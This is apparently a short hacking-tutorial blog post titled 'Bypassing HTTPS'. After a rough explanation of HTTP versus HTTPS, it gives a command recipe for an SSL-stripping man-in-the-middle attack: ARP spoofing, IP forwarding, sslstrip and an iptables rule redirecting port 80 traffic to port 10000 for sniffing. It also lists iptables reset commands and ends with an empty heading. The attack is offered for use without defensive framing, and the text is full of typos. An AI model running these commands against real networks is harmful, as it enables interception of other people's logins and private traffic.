BYPASSING HTTPS

 # WORKING!!

HTTP sends data in plain text and MITM can read and edit request and responses /AS WE HAVE DONE SO FAR #ITS NOTE SECURE 

SO TO SECURE IT!!

  • NOW famous website use HTTPS[secure HTTP protocol]
  • The HTTPS uses an extra secure layer
  • [HTTPS is the adaptation of the HTTP]
  • [the decrypt/encrypt is only done by the the user and web-server]

# ENCRYPTION IS DONE BY :

  • TLS(Transport layer securuty0
  • SSL(Secure sockets layer)


#COMMANDS for sniffing HTTPS!!

  • iptables --flush
    RUN-arp-spoof-MITM
    echo 1 > /proc/sys/net/ipv4/ip_forward
    sslstrip
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
    packet-sniffer/0THER-

#TO RESET IPTABLES!

  • iptables --table nat --flush
  • iptables --delete-chain
  • iptables --table nat --delete-chain
  • iptables -P FORWARD ACCEPT

#COMMANDS for REPLACING ETX HTTPS!!

Post a Comment

If you have any doubts, please let me know

Previous Post Next Post